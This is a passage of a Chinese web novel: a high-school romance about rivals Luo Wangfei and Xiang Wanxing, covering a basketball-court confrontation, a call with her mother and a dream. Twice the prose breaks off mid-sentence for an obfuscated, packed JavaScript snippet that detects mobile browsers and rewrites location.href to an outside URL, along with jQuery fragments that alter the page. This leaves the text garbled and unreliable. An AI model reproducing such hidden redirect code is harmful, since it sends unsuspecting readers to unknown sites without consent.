洛望飞闻言步伐一顿,双手插兜立在楼梯口,抬眼看向宋惜,满脸的不屑:“向晚星的事情关我什么事?宋惜同学,你想太多了,我也没什么需要你帮忙的。” 宋惜呐呐应了一声,卑微地说了声抱歉,从他身边快步走过,到拐角的时候迎面撞上一个抱着作业本的人。 “对不起,对不起。”宋惜连忙弯腰道歉,看向不小心被撞到的人。 啊哦。 又是向晚星。 宋惜顺着向晚星的目光看向洛望飞,又顺着洛望飞的目光看回来。 很好,他们完全看不到自己呢。 邻居个鬼,分明有问题! 但是宋惜不敢说,也不敢八卦。 她只是一个初来乍到的小透明罢了,现在还得仰着洛望飞帮忙追人,卑微至极,没有发言权。 所以宋惜默默帮向晚星整理好作业本,然后毫不犹豫地走开了,留下两个人在原地面对面沉默。 向晚星无视了洛望飞,把一班的数学作业送到老师办公室,听了一阵老师的鞭策,回来的时候洛望飞还在走廊上。 他懒散地趴在栏杆上,晒着太阳,并没有任何等她的意思,也没有看她。 向晚星也不打招呼,看着面前的道路慢腾腾走着。 谁也不开口。 余亮从三班走过来,也趴在洛望飞旁边,和他闲聊起来。 向晚星心里涌上一阵失落。 他果然不是在等我的。 又是她自作多情。 向晚星的步伐猛然加快,跑向教室。 洛望飞终于回头的时候,只能看见她的背影消失在拐角,于是已经到了口中的名字咽了下去,恹恹在栏杆上趴着,明明是晒着温和无比的朝阳,活脱脱像是在沙漠里被晒脱水了一样。 “你和宋惜怎么回事?欸?听说你们都亲上了?”余亮撞了一下洛望飞的手臂,兴奋的样子和兴致缺缺的洛望飞成鲜明对比。 “什么鬼玩意儿。”洛望飞抱怨起来都是懒洋洋的声音,像是没睡醒一样,没什么波澜,“都说了,宋惜压根和我没关系。她喜欢唐川,不知道去哪打听,正好碰见过我和唐川一起,拜托我传个话。” “啊?那照片怎么回事?”余亮在口袋里摸索了一会儿,想起自己手机借给别人了,于是叫洛望飞掏出手机看,“就贴吧里那照片,可火了,现在外边儿都在传呢。” 余亮没敢说他自己也是传播的一份子,早上还把这事儿和叶雪说了,按照叶雪那八卦程度,估计三班都知道了。 洛望飞垂着眼皮点开那张图,拥挤的公交车上,少女仰着头瘫倒在座位上,拿书遮着脸,身后的少年嬉笑着微微俯身,两个人的面容被书本遮盖住大半,确实让人浮想联翩。 哪是什么宋惜呢,明明就是向晚星。 已经是别人女朋友的向晚星。 洛望飞忽然觉得这张图有些刺眼,他去找了发帖人亮出自己的身份让对方删帖。 对方听说认错了之后一口答应,但话里话外都在问他女生的真实身份,发誓再三保密。 余亮也好奇,伸长了脖子想窥探洛望飞的答案。 洛望飞的手指悬停在屏幕上许久,一直没有打字。 这太长时间的沉默让对方察觉出了些不一般,【不方便说吗?也没关系的,帖子我已经删掉了,打扰了抱歉哈。】 直到回教室的时候,洛望飞还是没有回复,只是在课间,他又打开贴吧,看见热闹的讨论里那张图已经消失了,感觉心里空荡荡的,好像也不是很开心。 他搜了一下【李彦向晚星】。 没有结果。 洛望飞改了搜索词,搜了一下【向晚星】。 密密麻麻的讨论贴里,提到最多的,都是洛望飞三个字。 【向晚星和洛望飞到底什么关系啊?】 【向晚星和洛望飞上辈子有仇吗?】 【报!向晚星和洛望飞又吵起来了!一班老刘和三班老李各自护短展开大战!】 【笑死,向晚星和洛望飞都是拿的一等奖,宣传栏上挨在一起,两个人的签名那里隔空对骂。向晚星签名:我左边的是狗。洛望飞签名:我右边的是猪。】 洛望飞看得入神,连上课铃响了都没有听见,还是余亮狠狠拍了他一下,出声提醒他老师走过来了,洛望飞才在轻微的疼痛中猝然回神,把手机关了,丢进抽屉,支着手臂假装听课。 英语老师在上面讲从句,讲阅读技巧。 洛望飞看着黑板上写的Aneyeforaneyeandatoothforatooth(以眼还眼,以牙还牙),开始神游天外。 向晚星凭什么谈恋爱呢? 她当初也不是肆意胡闹地截断了他的恋爱可能吗? 洛望飞从小就受欢迎,初中的时候就有人告白送礼物了,当时他还是一个青涩臭屁的少年,觉得自己魅力无限,高调地炫耀给周围人看,对恋爱这件事没有特别期待但是也不排斥,觉得顺其自然,遇到喜欢的人也可以考虑。 但他还没有心动就被向晚星打碎了所有的可能。 向晚星把洛望飞嘚瑟收到情书的事情捅到了他爸洛展华那里。 洛展华是初中部的教导主任,平时最讲究名声,平时口口声声念叨着家风清誉,典型的严苛要求自家小孩,宽容对待别家小孩。 洛展华表扬了向晚星的积极举报行为,然后也没有去追究那些写情书的人身份,独独把洛望飞骂得狗血淋头,让他写了一个万字检讨在升旗的时候念。 此后三年,洛望飞白天被父亲洛展华以及父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963436|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲叮嘱过的老师们特殊关照,高强度巡查,晚上回家还要接受盘问,不定时检查书包内物品。 比坐牢还不自由。 那些零星的少年情怀和憧憬死了个彻底。 初中毕业后,洛望飞的心里早就是一片枯死的沙漠了,再也没有半点波澜。 他只剩下报复向晚星的念头。 显然,她早就忘了这件小事,甚至可笑地在高中干起来代送情书。 她早已释怀,而他耿耿于怀。 向晚星当初冠冕堂皇地以禁止早恋名义举报他,坑害他。 他也可以吧。 洛望飞的手再一次摸到抽屉里的手机,摩挲了许久,迟迟没有开机。 直到余亮过来拍着他的肩膀,“欸,走走走,去打球去。” 洛望飞恍然回神,看到面前的黑板早已写满白色的粉笔字,那行Aneyeforaneyeandatoothforatooth早就被枯燥冗长的从句所覆盖。 他想着向晚星的事情,不知不觉过了两节英语课。 现在已经是一周唯一一次的体育课了。 即使打球的时候不适合带手机,洛望飞还是把手机从抽屉里拿了出来,揣在了口袋里。 在球场打球的时候,洛望飞听到操场边的小道里有人在说话,几个男的,似乎在聊漂亮女生,其中一个提到了向晚星的名字。 “其实我觉得向晚星也挺好看的,脸圆圆的,眼睛亮亮的,特有活力,感觉瞧着就心情特好。” 李彦的声音响起来,满是嫌弃。 “你疯了吧!居然觉得向晚星可爱!她那张嘴能把人毒死,而且矫情做作,什么事情都闹个不停,得理不饶人的,跟她相处就是短寿好吧!” 洛望飞站在树荫下,把这些话一字不落听进耳中,忍不住想奚落向晚星。 她知道她男朋友在外面这么说她吗? 平时那么机灵狡诈,一点委屈都受不得,结果找了个这样的。 她是太久没吃苦了吗?好日子过惯了,所以找个对象给自己气受。 洛望飞还没有在心里抱怨完,小路上的其他人也开了口打断了李彦,虽然是夸向晚星的话,但落入洛望飞耳中也挺刺的。 “也还好吧,向晚星平时也挺好相处的啊,乐呵呵的,而且还挺会撒娇的,我觉得和她一起玩挺开心的,我就想要个会撒娇的女朋友。” “是啊,你只要不提洛望飞,她还是挺正常的,她就是讨厌洛望飞而已。不过我也理解,洛望飞这人太爱出风头了,有时候确实挺讨厌的。” 他们的声音低了下去,像是在说什么见不得光的秘密,“而且,有一次午休我看见向晚星短袖下面露出一截腰,特白,看起来就很软。” 洛望飞站在篮球场边,眉眼间一片郁色,队友传过来的球砸到身上也没什么反应。 “你干嘛呢?发什么呆啊?”余亮走过来,看见洛望飞此刻的表情愣了一下。 平时总是笑着的洛望飞此刻冷着一张脸,眉眼压着,像是冰下包着一团火。 在余亮的记忆里,洛望飞从来都是一个很开朗的人,平时大大咧咧的,也玩得开,什么都不在乎,天大的事也不能让他发愁。 哪怕他不笑着的时候,整个人也是懒洋洋的,一股子慵懒闲适的安逸气息。 很少见他有心情不好的时候。 从小学认识到现在,余亮记忆中洛望飞真正摆臭脸也就那么两回。 一次是初中,洛望飞做完耻辱的万字检讨,闷闷不乐了许久,好像全世界都欠他八百万。 不过那次余亮也理解,别说八百万,八千万都买不回洛望飞因为向晚星而失去的自由和尊严了。 第二次就是现在。 “怎么了你?”余亮有种大事不妙的预感。 洛望飞没吭声,捡起地上的篮球。 单手抛出去,却是向着与球场的反方向,砸到幽静昏暗的小路里,惊起一道痛呼。 “你干嘛呢!往哪儿扔呢!”余亮傻了眼,正要过去捡,看到几个人从小路里走出来,全都是成绩响当当的好学生,老师口中的模范。 李彦走在最中间,拿着篮球,目光不善地问:“谁砸的?” 在读书时代,成绩几乎就是一切,成绩好的学生是家长口中的偶像,老师们的掌心宝,哪怕他们相貌平平,哪怕他们脾气恶劣,性格孤僻,只要成绩好,就能被原谅。 只要跟李彦有过交集的人都被李彦嘲讽过,但也只能忍气吞声。 三年来,这是他们第一次见到高高在上的李彦狼狈的样子,额头上一道显著的红印,还有些篮球留下的灰印。 方才还在嬉笑奔跑的少年们一下子全都陷入了沉默,咽了咽口水,面面相觑。 完了,麻烦大了。 跟这群人对上,几乎是一场必输的仗。 在这压抑的沉默里,唯有洛望飞仰着下巴,挑衅式地回望,一双眼睛冷到极点,“哦,手滑,不小心的,你没事吧。” 10. 喜欢宿敌怎么办 篮球场上硝烟四起,向晚星和叶雪躲在学校池塘边的凉亭里吃雪糕,顺便讨论一下如何驯服狗男人这件事。 叶雪说起过去一片唏嘘:“我开了小号假装是隔壁市的天才少女,在竞赛中对他一见钟情念念不忘,网聊中那叫一个矜持温柔,进退有度。” 向晚星按照常见小说套路猜测后续:“然后他就被你吸引,爱上你的灵魂,接受了你?” 叶雪耸了耸肩,“那倒没有,他把我小号当成了免费咨询工具人,天天问我各种题,索要联考试卷还把我当做他的竞争者,问我的排名。” 好强的功利心,好旺盛的胜负欲,真是严格的考试机器。 向晚星听得目瞪口呆。 “那他怎么喜欢上你的?” 叶雪撇了撇嘴回答:“靠脸靠身材,千方百计伪装一个淑女的灵魂,结果还不如随随便便穿了一条吊带裙。” 向晚星十分失望地“啊”了一声,叶雪也跟着叹气,“没想到吧,年级第一也这么肤浅。” “我也郁闷了好久来着,后来我也想通了,大家谁不是看脸啊,我喜欢他也是因为他长了一副斯文败类的样子,要是他长了个猪头模样,别说清北,保送哈佛也不行。” 向晚星若有所思,觉得好像这话也不是没有道理。 要是洛望飞长得不好看,她会动心吗? 当然不会。 某种意义上,她当时完全是被洛望飞的帅气给迷昏了头脑,现在放不下也是因为实在找不到比他更帅的人了。 叶雪还在继续说,“你看,小说里男女主谁不是校花校草,帅得无与伦比,美得沉鱼落雁,这不正说明了美貌的重要性吗。再怎么有文化有逼格的主角,还不是见色起意开始的,哪个男主不是先馋女主的身子开始的,一大堆替身文不都是睡出来的。” 向晚星捧着脸想了想,好像还真是。 哪怕是最纯洁不过的校园文,男主必定也是盯着女主的某个部位看,先看到脸,然后再谈得上喜欢。 普普通通的小透明就只能凄凄惨惨地暗恋了,要变身大美人之后才能得到天之骄子的垂怜。 轰轰烈烈的爱情,原来都是见色起意的开头。 你我都是俗人而已。 向晚星哀叹了一声,觉得自己的爱情幻想碎了一地。 “就不能有人忽略我普通的外貌,爱上我有趣的灵魂吗?”她沮丧地嘟囔了一句,惹得叶雪噗嗤笑出声来。 “你笑什么?”向晚星满肚子都是单身狗的怨念。 “你普通个屁,明明就是自己不打扮,天天吃辣熬夜还不长痘,不知道羡慕死多少人,就是一天到晚穿校服。” 叶雪幽幽看了向晚星一眼,“你家又不是没钱,你妈给你那么多生活费,你天天跟仓鼠似的,一个劲地存,就是不花,小富婆,你是不是都能买房了。” “应该不至于吧。”向晚星很认真地盘算了一下,诚恳地回答:“应该只够买个小户型的首付,买不了全款。” 贫穷的叶雪差点没噎住。 她就那么随便一说,结果向晚星真有这么多钱啊! “你存这么多钱到底是要干嘛?”叶雪望着简朴的向晚星,满眼的不理解,“你们家这么有钱,你妈又这么宠你,你完全可以过上韩剧财阀千金的生活了,别说什么衣服包包了,只要你开口,豪车豪宅你妈也会给你买吧。” 认识这么久,叶雪都没见向晚星买过新衣服,校服一穿再穿,也没去过什么大餐馆,就算是买些东西,也是一再比价,愣生生是活成了灰姑娘。 就连买小说和漫画的钱,也是向晚星通过帮同学跑腿和代送情书挣得,谁看了不说一句勤俭持家,又有谁能想到,其实向晚星是个货真价实的千金大小姐呢。 向晚星不是穷,完完全全是抠,舍不得对她自己好一点儿,没苦硬吃。 “有些苦,也不是非要吃的。”叶雪忍不住再一次劝起向晚星来,“你妈妈赚钱就是为了让你过上好生活的,你过这么苦,钱放银行,没必要吧。” 向晚星抿了抿嘴唇,“现在有钱也不代表以后依然会有钱啊,存些钱应急嘛,万一以后遇到事情,总能用得上的。” 叶雪听腻了这套说辞,“以后以后,又是以后,你这话都说了好几年了,从初中到高中,我们都十七了,青春期都快结束了,真不知道你要等到什么时候。” 向晚星心里一惊。 是啊,她已经十七岁了,在灰扑扑的校服里快走完了大半个青春期,还没有一个漂亮而华丽的登场。 向晚星正想着,忽然听到不远处传来一阵骚动,似乎有人在吵架。 “你们想干嘛啊!” “道歉。” “谁跟谁道歉啊,我手机里还有录音呢,要不然我们去办公室里放出来听听,让老师评评理,看看他们手中这一群宝贝是个什么玩意,大不了没收一个手机,换你们一群人丢脸,挺值的。” 向晚星觉得这声音有点耳熟啊,声音也不大,但字字句句跟尖刀似的,拍在人脸上,特拽,特欠。 向晚星和叶雪跑出去一看,篮球场那边站了两拨人,面对面,齐齐整整排列着,像是砌了两堵人墙。 也不知晒了多久的太阳,头发都被打湿了,谁也不肯让谁走。 靠篮球场这边的是洛望飞为首的三班男生,靠操场这边的是李彦为首的一班男生。 虽然三班的这些男生向晚星也都认识,有几个还是发小,但是她还是跟着叶雪站到了一班这边。 毕竟一班的人是每天都要见面的同学,而且她和洛望飞,是宿敌,不是战友也不是亲密好友,从来不会站在一起,也没理由站在一起。 他身边也有人支持,不缺她这一个。 向晚星看着三班的人陆陆续续从教学楼赶来,宋惜和几个人站在洛望飞他们旁边。 “怎么回事啊?大家没必要吧,把事情说清楚,没必要搞得这么僵吧。” 两个班的人陆陆续续都来了个差不多后,一班和三班的班长站了出来交涉。 “他砸人。”李彦板着一张脸看着洛望飞。 这话引起一片哗然,大家都不怎么信。 洛望飞的人品是有目共睹的,阳光开朗,乐于助人,还开得起玩笑,对人也大方慷慨,谁都玩得来,年级里的人一大半都是他的朋友,再怎么挑刺的人也说不出他的坏话。 别说三班,一班里也有不少洛望飞的朋友。 “误会吧。”三班班长和善地笑着开口,“打篮球不都有个意外吗,他肯定是不小心的,大家都是同学,无冤无仇的,他不至于。” 许多人纷纷附和,而李彦完全没有听进去,只是冷眼盯着洛望飞,固执地要一个道歉,“没什么误会,他就是故意的。” 其他人顿时觉得李彦有些刁难了,又不好意思说出口,毕竟谁不知道李彦在学校领导和老师心中的地位,谁也不敢得罪。 叶雪和向晚星同时朝李彦靠近,问他怎么回事。 叶雪想让李彦就此打住,别计较了。 毕竟她和洛望飞认识许多年,也算是一个朋友,以后她还得介绍李彦给洛望飞这群人认识呢,闹僵了太尴尬。 向晚星纯粹是因为好奇。 因为向晚星从没有见过洛望飞较真的样子,总觉得他嘻嘻哈哈,什么都不往心里去。 这还是向晚星第一次见到洛望飞和人起了冲突。 她太好奇洛望飞的动机了。 洛望飞大概是不会告诉她的,所以她只能问李彦,有叶雪在,李彦不敢不交代。 五米之外的洛望飞身边围满了人,都是劝他退一步,让让李彦这个不通世故的书呆子。 他一句话也没有听进去,只是站在原地,看着笨蛋向晚星挤在一班的人群里,站在李彦身边 她也不知道刚才干什么去了,校服上印着几道灰色的痕迹,还沾了片叶子。 李彦看都没看向晚星一眼,侧着头听叶雪说话,就让向晚星等着。 向晚星居然真就那么傻乎乎地等着。 洛望飞没再看下去,觉得挺没意思的,甩下一句“我不道歉”,转身走了,留下两个班的人茫然面对面站着。 李彦此时已经被叶雪教训威胁了一顿,心不甘情不愿地说了句“算了,误会”,就这么结束了这场没有硝烟的战争。 一场声势浩大的对垒就这么仓促地结束,大部分人都只当是场意外,抱着没看到热闹的遗憾把这件事抛之脑后。 只有少数人想追问到底,比如向晚星。 李彦被逼问地烦了,又不敢在叶雪面前说自己背地里对向晚星不满,随便扯了一句“就转学生情书那件事。” “啊?”向晚星眼神瞬间黯淡,“他是在给宋惜出气吗?” 李彦没听清向晚星后面的话,只想快点结束这个话题,匆匆忙忙应了,“嗯。” 向晚星不吭声了,精神顿时低落下去,像是被无形的大雪压弯了头颅,拖着步子慢慢走着,跟在李彦和叶雪身后回教室。 下午的太阳烤得人身上滚烫,额头上渗出一层细密的汗,一滴汗水流到向晚星的眼睛里,刺得她眼睛发疼,滚下眼泪。 她停了脚步立在原地,抹去薄汗和泪水的时候,看见有个人站在行政楼三楼看着自己。 只是一个高高瘦瘦的身影,看不清面容。 行政楼位于学校的中央,可以将学校的所有动静收归眼底,是学校的领导们的办公楼。 对于学生们来说,那就是死亡禁地。 她仰头看着那个人,那个人也看着她,谁也不动。 直到叶雪发现向晚星掉队了回来找她,看见她在站在花坛旁边发呆,出声喊她:“向晚星,你看什么呢!大太阳的,别中暑了,你脸都紫了。” 向晚星被叶雪的叫声吸引了注意力,转头看了叶雪一眼,指着教学楼说“那有个人。” 叶雪顺着向晚星的手指抬头往上看,行政楼的走廊上空荡荡的,只有夏天的风和炽烈的阳光。 “你晒迷糊了吧,快回去,不然真中暑了。”叶雪拽着向晚星快步往回走。 向晚星确实晕晕乎乎的,没有反抗,只是不时回头看着行政楼。 她的直觉告诉她,那个人是洛望飞。 喜欢一个人便自动有了一项特异功能,人山人海,第一眼,就一定会看见他。 哪怕面容模糊不清,周围喧嚣吵闹,心脏永远灵敏。 叶雪把向晚星带回教室后弄了瓶冰水贴在她额头和脸上给她降温。 向晚星脸上的温度降了回去,理智也在缓慢回笼。 洛望飞怎么可能会偷偷注视着她呢。没理由的。 他不是喜欢宋惜吗?他不是都和宋惜在一起了吗? 放学的时候,向晚星决定试探他一下,背着书包跟他说了一句:“以后就不用一起走了吧,毕竟男女有别,要避嫌吧。” 不管天台上宋惜是为什么转过身去,向晚星觉得自己要问心无愧。 “哦。”洛望飞听到这话都没有在一班教室门口停留,径直走了过去,干脆利落,没有一点留恋,也没有回头。 向晚星站在原地,看着洛望飞的身影消失在楼梯转角又出现在教学楼的出口,校园的大道上。 落日的光辉照在他的身上,显得他愈加清俊出众,即使在人群里,也是绝对出众的男主角。 有许多人和他打招呼,朝他笑,好几个男生勾肩搭背约他一起出去玩,也有不少女孩子偷偷看他,悄悄在夕阳下红了脸。 其实他也只是穿了一身最简单的白T恤,灰色长裤,鞋子也是再常见不过的灰蓝色运动鞋。 简单利落,一点多余的装饰都没有,干干净净,像是黑白分明的水墨画,每一笔都把他的线条勾勒地极为出挑,透着一股青春律动的朝气。 他身边的人也都穿着各式各样的潮流,各种鲜艳亮丽的颜色,无论是破洞牛仔裤,无袖篮球服,还是方领连衣裙,都标榜着各人的特色,像是独一无二不会重样的花。 向晚星忍不住低头看了一眼身上的宽大校服,出于节省的好习惯,本来适合M码的身材,她领了XL,上衣像是一个大麻袋一样罩住少女的半身,遮住了她的腰肢,盖住了她的身材,裤子也肥大,拖到地上,不得不经常弯腰去折。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963437|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >除了周一升国旗和开学典礼,一中并不会强制穿校服,大多数时间学生们都更愿意去搭配自己的特色穿搭。 向晚星这样终年如一日穿校服的反而是个少数派。 她今年十七岁了,记忆和本能还停留在七岁那年和母亲一起缩在潮湿逼仄的屋子里把旧衣服穿了再穿的时候。 直到今时今日,向晚星突然意识到,所有人都在绽放,只是她一个人缩在地下,躲着不愿意发芽不愿意开花,错过了大半个春天。 也就理所当然地错过了洛望飞。 向晚星犹豫了很久,才去了一趟银行,看了看自己的卡上余额,数了一下,还是给母亲打了个电话报备,吞吞吐吐地表达了自己准备买几件衣服的打算。 向兰一听这话心疼地要命,“是不是没钱了啊,妈妈最近忙,都没注意你,宝贝,对不起啊,妈妈给你打了些钱,想买什么买什么啊,妈妈有钱着呢,宝贝就是要漂漂亮亮的,你小时候最喜欢公主裙了,想买多少买多少!” 向晚星站在银行柜台面前,刷新了一下,发现自己的余额瞬间暴涨,一路狂飙。 向晚星油然而生一股负罪感,“妈妈!可以了!你住手啊!不要再打钱了!” 向兰并没有听,看了看向晚星的银行卡里的小数字,意犹未尽地给她凑了个整,从小几万变成了三十万,“你高三了,用钱的地方多了去了,买些补品,吃好喝好,要是有不懂的,请个老师教教,钱不够妈妈再给你打,要是实在太累别为难自己,我跟人打听了,好多有钱人家孩子不读高三,直接出国,你放轻松,大不了妈妈送你留学。” 向晚星还没有来得及插话,向兰又嘀咕起来:“咱那房子是不是离一中有点远了,走路得半个小时呢,坐公交也挤得慌,要不去一中附近给你买一套吧,就是有点不放心你一个人住,我问问叶姐他们家愿不愿意一块住吧,我出钱,咱买个大一点儿的,两家一块儿住,叶姐照顾你我放心。” 向晚星向来是知道自己母亲行动力的,再不出手阻止,她名下马上就会多出一套学区房了来,那就不是几十万的事情了。 “妈!!!你冷静啊!!!”向晚星喊得撕心裂肺,声音隔着电话震到了向兰的耳膜,“咱家赚钱了也不能这么败家的呀!要节省!你后面开店需要用钱的地方多了去了!不能这么挥霍的!” 向兰听着女儿向晚星嘀咕房租水电和原材料,也不知道她是从哪里看到的这些东西,小小地反驳了一声,“妈妈已经处理好了呀,妈妈知道的,咱今年挣了好多好多钱,小小地花一下,是可以的。” 向晚星不吭声,没有反驳母亲,但是也说不出赞同的话。 过去那段日子太苦了,她太害怕回去了,拼了命攒钱才有安全感。 向兰也知道向晚星的心结,幽然叹了口气,满是愧疚,“妈妈赚钱就是为了给初一好日子的呀,对不对,所以,初一就应该开开心心,漂漂亮亮的,这样妈妈才有动力赚钱呀。” 想到自己收到的短信,向兰又叹了口气,“初一长大了,是个十七岁的大女孩了,有没有喜欢的男孩子呀?” 向晚星想到洛望飞,只觉得胸口闷闷的,并不想承认。 “所以是有喜欢的男孩子了吗?”向兰读懂了女儿的沉默,“他让你不开心吗?” “他不喜欢我,他有喜欢的女孩子,那个女孩子好漂亮好聪明,我比不上。”向晚星委屈地几乎要哭出来了。 向兰声音更加温柔,“不是,初一不比任何人差,你是妈妈眼里最漂亮最聪明的孩子。他不喜欢你只是他没有眼光,他没有福气,错过了我们初一。” 向晚星一直是个妈宝,从来不会质疑母亲的话,抽噎着问:“真的吗?” “嗯。”向兰朝着助理摆摆手,推迟了会议,十分耐心地哄着电话那端的向晚星:“我们初一就是天生的公主,不喜欢你的人,都是没有眼光,有眼无珠,他们一定会后悔的。” 说着,向兰又打了一笔钱过去,“去买衣服吧,如果初一穿了最好看的裙子去请他吃饭,他还是不愿意的话,那就证明他不是你的王子,但是初一永远是公主。” 向晚星看着银行卡里的一长串数字,点进了取款页面,看了许久,还是只取了900放进书包里,忐忑不安地回家,在路口的生活超市碰上洛望飞。 “真行啊,再玩几个小时夜不归宿得了,还回来干嘛。”洛望飞看都不看向晚星,冷着脸说着讽刺的话。 向晚星看了看附近,除了他们俩,只有打瞌睡的中年老板和门口的大黄狗。 “你在和我说话吗?”向晚星看着他这副淡漠的样子就来气,“你脖子落枕了还是打钢钉了,不会低头了是吗你。” 洛望飞淡淡扫了她一眼,拿起一个塑料袋往家里走,“不是你说的吗,避嫌啊,你自己忘了啊,这记性,比金鱼还差。” 向晚星顿觉不是滋味,“狗咬吕洞宾,不识好人心,你哪天被宋惜甩了都不知道。” “什么鬼?”洛望飞转过头见鬼一样看着向晚星,“我跟宋惜都没关系,我怎么就马上被甩了,你再造谣一个试试?” 向晚星顿住,说不上话来,大脑一片空白,像是烟花一样炸开出满心的欢喜和庆幸来,走走停停,落在洛望飞身后瞧着他,憋了很久,特别小声地问:“那你喜欢她吗?” 咔哒一声,洛望飞正好推开家门,声响正好盖住向晚星的问话。 “什么?”他隐约听到向晚星声音,站在家门口回头看着她,“你刚刚在说话吗?” 有些话只能说一次,第二次便失去了勇气。 “没什么。”向晚星大步流星跑回自己的家里,一步都未曾停留,未曾回头,也没有看见洛望飞欲言又止的目光。 潇洒意气的少年,也有说不出口的心事。 向晚星在床上翻滚许久,下定了决心,在自己的计划里写上【就这个周末吧,去买一身漂亮的衣服。】 【就算他不喜欢我也无所谓,身为女主角的我本来就该有这么一次漂漂亮亮的登场,一个漂漂亮亮的人生。】 【我本来就是女主角。】 【洛望飞,你后悔去吧。】 11. 暗恋宿敌怎么办 当天晚上,向晚星就做了一个梦: 她穿着漂亮的公主蓬蓬裙,戴着闪闪发光的王冠,从旋转楼梯中缓慢走下来。 在所有人的惊艳目光中,昂首挺胸地拖着长长的裙摆,优雅而缓慢地走到华丽的吊灯下。 人群为她分开一条道路,道路的终点是一身燕尾服的洛望飞。 他的眼里似有万千星河,倒映着她的身影。 “向晚星?”他笑起来,声音罕见地温柔,像是化开了的蜜糖,盛满爱意。 向晚星在他面前站定,像是高傲地孔雀一样仰起头,抿着唇轻轻地“哼”了一声。 洛望飞笑得温柔缱绻,低下头和她说话,俊美过人的脸庞在灯光下显得更加帅气非凡,“我有眼不识珠,大人不计小人过,给个机会,行吗,嗯?” 向晚星鼓着脸,非常勉为其难地说:“行吧,谁叫我天生大方善良呢,就只原谅你一次。” “感谢公主,荣幸之至。”洛望飞一边说着,一边笑弯了腰,靠在向晚星身上,从背后抱着她,“小的一定好好服侍公主,再也不敢惹公主生气了。” 向晚星听着觉得不对劲,仰起头瞪他,“你现在说话像个狗腿子太监!” 回应她的是一个轻盈的吻。 一切变得模糊,像是抽象的水彩画,所有的色彩都杂糅在一起,天旋地转,灯光明亮到刺眼。 向晚星晕晕乎乎地,听见洛望飞说“闭上你的眼睛。” 她照做,又听见洛望飞的笑声,“好乖。” 向晚星有些生气,她又不是什么小狗,正要开口训斥他,又听见他说“向晚星,我爱你。” 于是一腔怒火尽数熄灭,她只剩下一腔酸涩和欢喜。 你怎么喜欢我这么晚啊。 还让我难过这么多次。 梦里的她正要开口质问。 叮铃铃。 闹钟响起来,美梦消散。 向晚星仰头看着乳白色的天花板,深深地叹了口气。 果然是梦啊。 往常这个时候洛望飞都来敲门了,结果他今天都不等她了。 哦,好像还是她昨天提出的。 她依依不舍地试探,而他毫不犹豫地答应。 向晚星拉开窗帘,看见洛望飞正在楼下的早点摊位前买早餐,脸上的笑容依然灿烂,眉眼弯起来的时候露出两颗小虎牙,很容易让人有一种交心的错觉。 也是,他朋友超级多,压根不缺她这么一个聊天说话的人。 再说了,他都遇到真命天女了。 昨天还冲冠一怒为红颜了呢,没在一起又怎样,又没有否认不喜欢宋惜。 拜托,宋惜那样的大美女,才貌双全脾气又好,向晚星都找不到洛望飞不喜欢的理由。 除非他真眼瞎。 这么一想,向晚星顿时无精打采,拉上窗帘,慢腾腾起床,慢腾腾地扎好马尾,打开衣柜,伸手去拿校服的时候又情不自禁往旁边看了一眼。 她其实不用买也有挺多漂亮衣服的。 母亲寄回来的,隔壁叶芝阿姨逢年过节给洛望飞买衣服也顺带给她买两件。 活泼俏皮的牛仔裙,简约大方的蝴蝶结衬衫,可爱灵动的碎花连衣裙,其实这些向晚星都收到过。 她不穿不是因为不喜欢,而是觉得它们真的非常地好看,以至于她习惯性把好东西珍藏起来,不想它们被圆珠笔划脏,不想它们沾染上灰尘。 这么一放就是许久,以至于当她现在想穿的时候,已经不适合了。 向晚星不死心地把每件衣服都试了一遍,短了一大截以至于露出肚脐的上衣,太紧了以至于扣不上扣子的牛仔裤,连膝盖都没能遮住的连衣裙。 向晚星含泪把它们一件件挂回衣柜,再把宽大的校服翻出来。 意外地,她发现了柜子深处似乎还有一套白色的衣服,宽松的款式,对身材要求并不高。 她拆开发现是一套粉白色的运动服,和洛望飞常穿的那一套蓝白色运动服很像。 大胆一点可以说是情侣装也不为过。 向晚星想起来了,这是是去年过年时候叶芝在商场买的,就是一个专卖店的情侣装,两套八折,叶芝直接当成家庭装买下来给她和洛望飞。 那个时候向晚星还不喜欢洛望飞,对和他穿同款这件事避之不及,塞进了衣柜的底部。 现在她心境不同了,看它的目光自然也不同了。 向晚星把它拆开在身上比了比,发现正合适,有些惊喜又有些犹豫。 这套衣服,是不是太明显了。 别人一看就知道她的心思了。 洛望飞会怎么看她?别人会怎么看她? 但是向晚星又舍不得这个和洛望飞穿情侣装的机会。 这大概是唯一一次机会了。 以后就算穿校服,他们不是一个班,也不会站在一起的。 向晚星纠结了许久,把校服的蓝白色圆领T恤翻出来,然后配上这套运动服的粉白色修身长裤。 对着镜子照了一会儿,向晚星又把上衣的宽大衣摆扎进了裤子里,仔仔细细地理顺了,把蓬松的自己给理出一条不太明显的腰线来,顺手再从自己的梳妆台里翻出一条带着粉色碎钻的发圈,把头发绑好之后,又刻意留了两缕碎发在耳朵边上,还用牙膏轻轻刷了一下自己的小白鞋。 晨读是七点开始,向晚星要想不迟到,最晚得六点二十五出门,赶上六点半的班车。 她硬生生在家里待到了六点二十七,然后风驰电掣地往公交站台跑去,早餐都顾不上买,径直跟着人群挤上26路公交车。 这个最紧急的时间段车上的人往往是最多的,座位当然是没有的,就连扶手也是稀缺。 